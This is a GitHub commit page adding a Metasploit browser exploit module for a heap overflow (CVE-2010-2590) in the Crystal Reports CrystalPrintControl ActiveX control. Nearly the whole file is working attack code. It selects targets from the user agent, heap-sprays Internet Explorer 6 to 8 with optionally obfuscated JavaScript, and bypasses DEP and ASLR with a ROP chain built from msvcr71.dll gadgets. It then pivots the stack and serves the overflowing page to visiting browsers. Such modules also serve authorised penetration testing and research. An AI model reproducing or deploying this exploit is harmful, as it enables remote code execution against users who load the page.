Skip to content

Commit 37ce92a

Browse files
committed
Merge branch 'crystal_reports_printcontrol' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-crystal_reports_printcontrol
2 parents 36bcc1f + bce7d48 commit 37ce92a

File tree

1 file changed

+307
-0
lines changed

1 file changed

+307
-0
lines changed
Lines changed: 307 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,307 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
15+
include Msf::Exploit::Remote::BrowserAutopwn
16+
17+
autopwn_info({
18+
:ua_name => HttpClients::IE,
19+
:ua_minver => "6.0",
20+
:ua_maxver => "8.0",
21+
:javascript => true,
22+
:os_name => OperatingSystems::WINDOWS,
23+
:rank => NormalRanking,
24+
:classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}",
25+
:method => "ServerResourceVersion"
26+
})
27+
28+
29+
def initialize(info={})
30+
super(update_info(info,
31+
'Name' => "Crystal Reports CrystalPrintControl ActiveX ServerResourceVersion Property Overflow",
32+
'Description' => %q{
33+
This module exploits a heap based buffer overflow in the CrystalPrintControl
34+
ActiveX, while handling the ServerResourceVersion property. The affected control
35+
can be found in the PrintControl.dll component as included with Crystal Reports
36+
2008. This module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3
37+
and IE 8 on Windows 7 SP1. The module uses the msvcr71.dll library, loaded by the
38+
affected ActiveX control, to bypass DEP and ASLR.
39+
},
40+
'License' => MSF_LICENSE,
41+
'Author' =>
42+
[
43+
'Dmitriy Pletnev', # Vulnerability discovery
44+
'Dr_IDE', # PoC
45+
'juan vazquez' # Metasploit
46+
],
47+
'References' =>
48+
[
49+
[ 'CVE', '2010-2590' ],
50+
[ 'OSVDB', '69917' ],
51+
[ 'BID', '45387' ],
52+
[ 'EDB', '15733' ]
53+
],
54+
'Payload' =>
55+
{
56+
'Space' => 890,
57+
'DisableNops' => true,
58+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
59+
},
60+
'DefaultOptions' =>
61+
{
62+
'InitialAutoRunScript' => 'migrate -f'
63+
},
64+
'Platform' => 'win',
65+
'Targets' =>
66+
[
67+
# Using jre rop because msvcr71.dll is installed with the ActiveX control
68+
# Crystal Reports 2008 / PrintControl.dll 12.0.0.683
69+
[ 'Automatic', {} ],
70+
[ 'IE 6 on Windows XP SP3',
71+
{
72+
'Rop' => nil,
73+
'Offset' => '0x5F4',
74+
'Ret' => 0x0c0c0c08
75+
}
76+
],
77+
[ 'IE 7 on Windows XP SP3',
78+
{
79+
'Rop' => nil,
80+
'Offset' => '0x5F4',
81+
'Ret' => 0x0c0c0c08
82+
}
83+
],
84+
[ 'IE 8 on Windows XP SP3',
85+
{
86+
'Rop' => :jre,
87+
'Offset' => '0x5f4',
88+
'Ret' => 0x0c0c0c0c,
89+
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
90+
}
91+
],
92+
[ 'IE 8 on Windows 7',
93+
{
94+
'Rop' => :jre,
95+
'Offset' => '0x5f4',
96+
'Ret' => 0x0c0c0c0c,
97+
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
98+
}
99+
]
100+
],
101+
'Privileged' => false,
102+
'DisclosureDate' => "Dec 14 2010",
103+
'DefaultTarget' => 0))
104+
105+
register_options(
106+
[
107+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
108+
], self.class)
109+
110+
end
111+
112+
def get_target(agent)
113+
#If the user is already specified by the user, we'll just use that
114+
return target if target.name != 'Automatic'
115+
116+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
117+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
118+
119+
ie_name = "IE #{ie}"
120+
121+
case nt
122+
when '5.1'
123+
os_name = 'Windows XP SP3'
124+
when '6.0'
125+
os_name = 'Windows Vista'
126+
when '6.1'
127+
os_name = 'Windows 7'
128+
end
129+
130+
targets.each do |t|
131+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
132+
print_status("Target selected as: #{t.name}")
133+
return t
134+
end
135+
end
136+
137+
return nil
138+
end
139+
140+
def ie_heap_spray(my_target, p)
141+
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
142+
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
143+
144+
# Land the payload at 0x0c0c0c0c
145+
# For IE 6, 7, 8
146+
js = %Q|
147+
var heap_obj = new heapLib.ie(0x20000);
148+
var code = unescape("#{js_code}");
149+
var nops = unescape("#{js_nops}");
150+
while (nops.length < 0x80000) nops += nops;
151+
var offset = nops.substring(0, #{my_target['Offset']});
152+
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
153+
while (shellcode.length < 0x40000) shellcode += shellcode;
154+
var block = shellcode.substring(0, (0x80000-6)/2);
155+
heap_obj.gc();
156+
for (var i=1; i < 0x300; i++) {
157+
heap_obj.alloc(block);
158+
}
159+
var overflow = nops.substring(0, 10);
160+
|
161+
162+
js = heaplib(js, {:noobfu => true})
163+
164+
if datastore['OBFUSCATE']
165+
js = ::Rex::Exploitation::JSObfu.new(js)
166+
js.obfuscate
167+
end
168+
169+
return js
170+
end
171+
172+
def get_payload(t, cli)
173+
code = payload.encoded
174+
175+
# No rop. Just return the payload.
176+
return code if t['Rop'].nil?
177+
178+
# Both ROP chains generated by mona.py - See corelan.be
179+
print_status("Using JRE ROP")
180+
rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})
181+
182+
return rop_payload
183+
end
184+
185+
def load_exploit_html(my_target, cli)
186+
p = get_payload(my_target, cli)
187+
js = ie_heap_spray(my_target, p)
188+
189+
# This rop chain can't contain NULL bytes, because of this RopDB isn't used
190+
# rop chain generated with mona.py
191+
rop_gadgets =
192+
[
193+
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
194+
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
195+
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
196+
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
197+
0xffffffff, #
198+
0x7c376402, # skip 4 bytes [msvcr71.dll]
199+
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
200+
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
201+
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
202+
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
203+
0xffffffc0, # Value to negate, will become 0x00000040
204+
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
205+
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
206+
0x7c38b001, # &Writable location [msvcr71.dll]
207+
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
208+
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
209+
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
210+
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
211+
].pack("V*")
212+
213+
# Allow to easily stackpivot to the payload
214+
# stored on the sprayed heap
215+
stackpivot_to_spray = %Q|
216+
mov esp, 0x0c0c0c10
217+
ret
218+
|
219+
220+
# Space => 0x940 bytes
221+
# 0x40c: Fill the current CrystalPrintControl object
222+
# 0x8: Overflow next heap chunk header
223+
# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
224+
bof = rand_text_alpha(1044)
225+
bof << [my_target.ret].pack("V")
226+
bof << rand_text_alpha(4) # trash
227+
bof << rop_gadgets
228+
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string
229+
bof << rand_text_alpha(0x940 - bof.length)
230+
231+
js_bof = Rex::Text.to_unescape(bof, Rex::Arch.endian(my_target.arch))
232+
233+
target = rand_text_alpha(5 + rand(3))
234+
target2 = rand_text_alpha(5 + rand(3))
235+
target3 = rand_text_alpha(5 + rand(3))
236+
target4 = rand_text_alpha(5 + rand(3))
237+
target5 = rand_text_alpha(5 + rand(3))
238+
target6 = rand_text_alpha(5 + rand(3))
239+
target7 = rand_text_alpha(5 + rand(3))
240+
target8 = rand_text_alpha(5 + rand(3))
241+
target9 = rand_text_alpha(5 + rand(3))
242+
target10 = rand_text_alpha(5 + rand(3))
243+
target11 = rand_text_alpha(5 + rand(3))
244+
target12 = rand_text_alpha(5 + rand(3))
245+
target13 = rand_text_alpha(5 + rand(3))
246+
target14 = rand_text_alpha(5 + rand(3))
247+
target15 = rand_text_alpha(5 + rand(3))
248+
249+
# - 15 CrystalPrintControl objects are used to defragement the heap.
250+
# - The 10th CrystalPrintControl is overflowed.
251+
# - After the overflow, trying to access the overflowed object, control
252+
# can be obtained.
253+
html = %Q|
254+
<html>
255+
<head>
256+
<script>
257+
#{js}
258+
</script>
259+
</head>
260+
<body>
261+
<object id='#{target}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
262+
<object id='#{target2}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
263+
<object id='#{target3}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
264+
<object id='#{target4}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
265+
<object id='#{target5}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
266+
<object id='#{target6}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
267+
<object id='#{target7}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
268+
<object id='#{target8}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
269+
<object id='#{target9}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
270+
<object id='#{target10}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
271+
<object id='#{target11}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
272+
<object id='#{target12}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
273+
<object id='#{target13}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
274+
<object id='#{target14}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
275+
<object id='#{target15}' classid='clsid:88DD90B6-C770-4CFF-B7A4-3AFD16BB8824'></object>
276+
<script>
277+
var ret = unescape('#{js_bof}');
278+
#{target9}.ServerResourceVersion = ret;
279+
var c = #{target10}.BinName.length;
280+
</script>
281+
</body>
282+
</html>
283+
|
284+
285+
return html
286+
end
287+
288+
def on_request_uri(cli, request)
289+
agent = request.headers['User-Agent']
290+
uri = request.uri
291+
print_status("Requesting: #{uri}")
292+
293+
my_target = get_target(agent)
294+
# Avoid the attack if no suitable target found
295+
if my_target.nil?
296+
print_error("Browser not supported, sending 404: #{agent}")
297+
send_not_found(cli)
298+
return
299+
end
300+
301+
html = load_exploit_html(my_target, cli)
302+
html = html.gsub(/^\t\t/, '')
303+
print_status("Sending HTML...")
304+
send_response(cli, html, {'Content-Type'=>'text/html'})
305+
end
306+
307+
end

0 commit comments

Comments
 (0)